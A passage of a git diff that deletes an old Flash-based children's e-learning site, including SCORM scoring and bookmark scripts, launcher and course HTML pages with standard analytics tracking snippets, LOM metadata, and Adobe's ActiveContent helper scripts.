-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/launch.html b/Explore/elr/English/L0004/launch.html
deleted file mode 100755
index 44fb4da..0000000
--- a/Explore/elr/English/L0004/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/English/L0004/media/intro/intro.swf b/Explore/elr/English/L0004/media/intro/intro.swf
deleted file mode 100755
index 97e0709..0000000
--- a/Explore/elr/English/L0004/media/intro/intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0005.swf b/Explore/elr/English/L0004/media/lesson_00/A0005.swf
deleted file mode 100755
index 9e400c9..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0005.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0010.swf b/Explore/elr/English/L0004/media/lesson_00/A0010.swf
deleted file mode 100755
index 301510f..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0010.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0015.swf b/Explore/elr/English/L0004/media/lesson_00/A0015.swf
deleted file mode 100755
index 0e9e11d..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0015.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0020.swf b/Explore/elr/English/L0004/media/lesson_00/A0020.swf
deleted file mode 100755
index d651cfb..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0020.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0025.swf b/Explore/elr/English/L0004/media/lesson_00/A0025.swf
deleted file mode 100755
index 49fa6ed..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0025.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0030.swf b/Explore/elr/English/L0004/media/lesson_00/A0030.swf
deleted file mode 100755
index 0a43fdd..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0030.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0035.swf b/Explore/elr/English/L0004/media/lesson_00/A0035.swf
deleted file mode 100755
index 6680e3c..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0035.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0040.swf b/Explore/elr/English/L0004/media/lesson_00/A0040.swf
deleted file mode 100755
index fed4ab4..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0040.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0045.swf b/Explore/elr/English/L0004/media/lesson_00/A0045.swf
deleted file mode 100755
index 57f2184..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0045.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0050.swf b/Explore/elr/English/L0004/media/lesson_00/A0050.swf
deleted file mode 100755
index 1ea48b9..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0050.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0055.swf b/Explore/elr/English/L0004/media/lesson_00/A0055.swf
deleted file mode 100755
index 8db71e1..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0055.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/media/lesson_00/A0060.swf b/Explore/elr/English/L0004/media/lesson_00/A0060.swf
deleted file mode 100755
index e28f2d5..0000000
--- a/Explore/elr/English/L0004/media/lesson_00/A0060.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/metadata.xml b/Explore/elr/English/L0004/metadata.xml
deleted file mode 100755
index c249e02..0000000
--- a/Explore/elr/English/L0004/metadata.xml
+++ /dev/null
@@ -1,155 +0,0 @@
-<?xml version="1.0"?>
-<lom xmlns="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1"
-     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-     xsi:schemaLocation="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd">
-   <general>
-      <title>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </title>
-      <catalogentry>
-         <catalog>AAAAAAAAAA</catalog>
-         <entry>
-            <langstring>1000-02-02</langstring>
-         </entry>
-      </catalogentry>
-      <language>en</language>
-      <description>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </description>
-      <keyword>
-         <langstring>AAAAAAAAAAAAAAAAA</langstring>
-      </keyword>
-      <aggregationlevel>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">1</langstring>
-         </value>
-      </aggregationlevel>
-   </general>
-   <lifecycle>
-      <version>
-         <langstring>1.1</langstring>
-      </version>
-      <status>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Final</langstring>
-         </value>
-      </status>
-      <contribute>
-         <role>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Author</langstring>
-            </value>
-         </role>
-         <centity>
-            <vcard>BEGIN:vCard ORG:ADL Co-Lab END:vCard</vcard>
-         </centity>
-         <date>
-            <datetime>2003-01-30</datetime>
-         </date>
-      </contribute>
-   </lifecycle>
-   
-   <metametadata>
-      <metadatascheme>ADL SCORM 1.2</metadatascheme>
-   </metametadata>
-   
-   <technical>
-      <format>Flash/HTML</format>
-      <size>11111111</size>
-      <location>default.html</location>
-      <requirement>
-         <type>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser</langstring>
-            </value>
-         </type>
-         <name>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Microsoft Internet Explorer</langstring>
-            </value>
-         </name>
-      <minimumversion>5.0</minimumversion>
-      </requirement>
-      
-      <requirement>
-         <type>          
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser Plug-in</langstring>
-            </value>
-         </type>
-         <name>         
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Flash Plug-in</langstring>
-            </value>
-         </name>
-      </requirement>
-   </technical>
-   <educational>
-      <learningresourcetype>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Narrative Text</langstring>
-         </value>
-      </learningresourcetype>
-      <typicallearningtime>
-         <datetime>0000-00-00T00:02:00</datetime>
-      </typicallearningtime>
-   </educational>
-   <rights>
-      <cost>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </cost>
-      <copyrightandotherrestrictions>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </copyrightandotherrestrictions>
-   </rights>
-   <classification>
-      <purpose>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Educational Objective</langstring>
-         </value>
-      </purpose>
-      <description>
-         <langstring>AAAAAAAAA</langstring>
-      </description>
-  <keyword>
-         <langstring>AAAAAAAAA</langstring>
-      </keyword>
-   </classification>
-</lom>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0602/course.html b/Explore/elr/English/L0602/course.html
deleted file mode 100755
index 88304be..0000000
--- a/Explore/elr/English/L0602/course.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>interface</title>
-</head>
-<body bgcolor="#ffffff" topmargin="0" leftmargin="0" marginheight="0" marginwidth="0">
-<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="790" height="590">
-  <param name="movie" value="interface.swf" />
-  <param name="quality" value="high" />
-  <embed src="interface.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="790" height="590"></embed>
-</object>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!--
-<p align="left"></p>
-<p align="right"><font face="Arial" size="14" color="#000000">kilobytes loaded : </font></p><p align="right"><font face="Arial" size="14" color="#000000">kilobytes total : </font></p><p align="right"><font face="Arial" size="14" color="#000000">percent : </font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-Level
-Level
-Level
--->
-</body>
-</html>
diff --git a/Explore/elr/English/L0602/index.html b/Explore/elr/English/L0602/index.html
deleted file mode 100755
index dd3b817..0000000
--- a/Explore/elr/English/L0602/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-<html>
-<head>
-<title>El</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="JavaScript" type="text/JavaScript">
-<!--
-function MM_openBrWindow(theURL,winName,features) { //v2.0
-  window.open(theURL,winName,features);
-}
-//-->
-</script>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285047; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="495676b5"; 
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285047/0/495676b5/0/" alt="web metrics" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-
-</head>
-
-<body onLoad="MM_openBrWindow('course.html','TLN','width=790,height=590,left=0,top=0')">
-<p>
-<script type="text/javascript"><!--
-var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
-// --></script>
-<script type="text/javascript"><!--
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1");
-pageTracker._trackPageview();
-} catch(err) {}
-// --></script>
-</p>
-</body>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0602/interface.swf b/Explore/elr/English/L0602/interface.swf
deleted file mode 100755
index b9f5cf5..0000000
--- a/Explore/elr/English/L0602/interface.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0602/swf/slide1.swf b/Explore/elr/English/L0602/swf/slide1.swf
deleted file mode 100755
index 9f19cd8..0000000
--- a/Explore/elr/English/L0602/swf/slide1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0602/swf/slide2.swf b/Explore/elr/English/L0602/swf/slide2.swf
deleted file mode 100755
index 98f14fb..0000000
--- a/Explore/elr/English/L0602/swf/slide2.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0602/swf/slide3.swf b/Explore/elr/English/L0602/swf/slide3.swf
deleted file mode 100755
index e25d559..0000000
--- a/Explore/elr/English/L0602/swf/slide3.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/course.html b/Explore/elr/English/L0702/course.html
deleted file mode 100755
index 88304be..0000000
--- a/Explore/elr/English/L0702/course.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>interface</title>
-</head>
-<body bgcolor="#ffffff" topmargin="0" leftmargin="0" marginheight="0" marginwidth="0">
-<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="790" height="590">
-  <param name="movie" value="interface.swf" />
-  <param name="quality" value="high" />
-  <embed src="interface.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="790" height="590"></embed>
-</object>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!--
-<p align="left"></p>
-<p align="right"><font face="Arial" size="14" color="#000000">kilobytes loaded : </font></p><p align="right"><font face="Arial" size="14" color="#000000">kilobytes total : </font></p><p align="right"><font face="Arial" size="14" color="#000000">percent : </font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-<p align="left"><font face="Arial" size="14" color="#043a78">loading</font></p>
-Level
-Level
-Level
--->
-</body>
-</html>
diff --git a/Explore/elr/English/L0702/index.html b/Explore/elr/English/L0702/index.html
deleted file mode 100755
index 9329470..0000000
--- a/Explore/elr/English/L0702/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-<html>
-<head>
-<title>El</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="JavaScript" type="text/JavaScript">
-<!--
-function MM_openBrWindow(theURL,winName,features) { //v2.0
-  window.open(theURL,winName,features);
-}
-//-->
-</script>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285053; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="2e0d8d99"; 
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285053/0/2e0d8d99/0/" alt="website stats" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-</head>
-
-<body onLoad="MM_openBrWindow('course.html','TLN','width=790,height=590,left=0,top=0')">
-</body>
-</html>
diff --git a/Explore/elr/English/L0702/interface.swf b/Explore/elr/English/L0702/interface.swf
deleted file mode 100755
index 25ba2d9..0000000
--- a/Explore/elr/English/L0702/interface.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/intro.swf b/Explore/elr/English/L0702/swf/intro.swf
deleted file mode 100755
index 0bbff48..0000000
--- a/Explore/elr/English/L0702/swf/intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/slide1.swf b/Explore/elr/English/L0702/swf/slide1.swf
deleted file mode 100755
index 5802e76..0000000
--- a/Explore/elr/English/L0702/swf/slide1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/slide2.swf b/Explore/elr/English/L0702/swf/slide2.swf
deleted file mode 100755
index 6e805ed..0000000
--- a/Explore/elr/English/L0702/swf/slide2.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/slide3.swf b/Explore/elr/English/L0702/swf/slide3.swf
deleted file mode 100755
index 77b2ccd..0000000
--- a/Explore/elr/English/L0702/swf/slide3.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/slide4.swf b/Explore/elr/English/L0702/swf/slide4.swf
deleted file mode 100755
index be6dbc0..0000000
--- a/Explore/elr/English/L0702/swf/slide4.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0702/swf/slide5.swf b/Explore/elr/English/L0702/swf/slide5.swf
deleted file mode 100755
index 1f6a9ca..0000000
--- a/Explore/elr/English/L0702/swf/slide5.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Intro.swf b/Explore/elr/English/L0801/assets/Intro.swf
deleted file mode 100755
index 2f070fe..0000000
--- a/Explore/elr/English/L0801/assets/Intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_001_001.swf b/Explore/elr/English/L0801/assets/Prsf_001_001.swf
deleted file mode 100755
index 35c3337..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_001_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_002_001.swf b/Explore/elr/English/L0801/assets/Prsf_002_001.swf
deleted file mode 100755
index 41a3171..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_002_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_003_001.swf b/Explore/elr/English/L0801/assets/Prsf_003_001.swf
deleted file mode 100755
index 86839e1..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_003_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_004_001.swf b/Explore/elr/English/L0801/assets/Prsf_004_001.swf
deleted file mode 100755
index 93a127b..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_004_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_005_001.swf b/Explore/elr/English/L0801/assets/Prsf_005_001.swf
deleted file mode 100755
index e96cf49..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_005_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_006_001.swf b/Explore/elr/English/L0801/assets/Prsf_006_001.swf
deleted file mode 100755
index 921a1f4..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_006_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_007_001.swf b/Explore/elr/English/L0801/assets/Prsf_007_001.swf
deleted file mode 100755
index 49d7c8d..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_007_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/Prsf_008_001.swf b/Explore/elr/English/L0801/assets/Prsf_008_001.swf
deleted file mode 100755
index 9cef5b6..0000000
--- a/Explore/elr/English/L0801/assets/Prsf_008_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/assets/TOI.swf b/Explore/elr/English/L0801/assets/TOI.swf
deleted file mode 100755
index 789edb7..0000000
--- a/Explore/elr/English/L0801/assets/TOI.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/global/AC_ActiveX.js b/Explore/elr/English/L0801/global/AC_ActiveX.js
deleted file mode 100755
index bda9c6c..0000000
--- a/Explore/elr/English/L0801/global/AC_ActiveX.js
+++ /dev/null
@@ -1,82 +0,0 @@
-//v1.1
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AX_RunContent(){
-  var ret = AC_AX_GetArgs(arguments);
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_AX_GetArgs(args){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "pluginspage":
-      case "type":
-      case "src":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "data":
-      case "codebase":
-      case "classid":
-      case "id":
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  return ret;
-}
diff --git a/Explore/elr/English/L0801/global/AC_RunActiveContent.js b/Explore/elr/English/L0801/global/AC_RunActiveContent.js
deleted file mode 100755
index 1f9190a..0000000
--- a/Explore/elr/English/L0801/global/AC_RunActiveContent.js
+++ /dev/null
@@ -1,126 +0,0 @@
-//v1.0
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AddExtension(src, ext)
-{
-  if (src.indexOf('?') != -1)
-    return src.replace(/\?/, ext+'?'); 
-  else
-    return src + ext;
-}
-
-function AC_Generateobj(objAttrs, params, embedAttrs) 
-{ 
-  var str = '<object ';
-  for (var i in objAttrs)
-    str += i + '="' + objAttrs[i] + '" ';
-  str += '>';
-  for (var i in params)
-    str += '<param name="' + i + '" value="' + params[i] + '" /> ';
-  str += '<embed ';
-  for (var i in embedAttrs)
-    str += i + '="' + embedAttrs[i] + '" ';
-  str += ' ></embed></object>';
-
-  document.write(str);
-}
-
-function AC_FL_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
-     , "application/x-shockwave-flash"
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_SW_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
-     , null
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "classid":
-        break;
-      case "pluginspage":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "src":
-      case "movie":	
-        args[i+1] = AC_AddExtension(args[i+1], ext);
-        ret.embedAttrs["src"] = args[i+1];
-        ret.params[srcParamName] = args[i+1];
-        break;
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-      case "type":
-      case "codebase":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "id":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  ret.objAttrs["classid"] = classid;
-  if (mimeType) ret.embedAttrs["type"] = mimeType;
-  return ret;
-}
diff --git a/Explore/elr/English/L0801/index.htm b/Explore/elr/English/L0801/index.htm
deleted file mode 100755
index 6b8f3ac..0000000
